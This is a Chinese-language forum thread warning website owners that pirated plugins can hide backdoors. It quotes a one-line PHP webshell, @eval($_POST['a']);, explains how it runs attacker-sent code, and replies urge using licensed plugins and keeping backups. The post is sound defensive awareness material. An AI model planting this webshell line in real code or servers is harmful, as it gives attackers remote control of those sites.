某盜版插件中驚現一句話木馬，小到讓你根本無法發現

安全專員

傳送門：安全小知識：為什么使用盜版插件容易被掛馬！

1. @eval($_POST['a']);

復制代碼

如上面所示，就這么短短的幾個字符，隱藏在盜版插件正常代碼之中，如果不細心的話，根本無法發現。
不懂php的人，可能會懷疑，這么短的一個代碼，就是木馬？
eval就是把普通的字符串當做php代碼來執行，像上面這個代碼就是執行接收到的POST數據，利用這段代碼，黑客就可以向你的服務器執行代碼了。
抓緊時間卸載盜版插件吧，盜版插件的安全問題已經不能忽視了！


傳送門：安全小知識：為什么使用盜版插件容易被掛馬！

TardisTeam

前排支持，拒絕盜版
如果你只要用了一次盜版插件，一句后門代碼，就可以讓整個網站作廢

有些攻擊者不是只劫持首頁到非法網站上那么簡單，有的時候還會用“間諜式”寫入更多潛在后門入口文件，而且命名法會偽裝成正常文件名稱，代碼可能還是加密，以免被檢測，這樣就可以留著以后再進行攻擊，即使你這時候把盜版插件刪除，也是無濟于事，還是一樣會被攻擊，除非你把所有新植入的后門文件也都刪除了，否則針對一般站長而言，想要安全，就不得不重裝網站了

如果等發生以上情況再付費找人清理后門文件和維護，不但服務費成本高，也可能沒法根除到底，對于如果用心經營網站的站長，千萬不要選擇盜版插件，也不要隨意授權網站關鍵信息資源給第三方，如服務器，FTP等，做好及時性備份，拒絕使用盜版插件或模版

大旗網

堅決不用盜版

TG123999

蘋果 發表于 2019-7-17 10:39
不能用 盜版  

萬一有個木馬  全站就廢了

說的對，支持 正版

lovetvb

哦哦明白了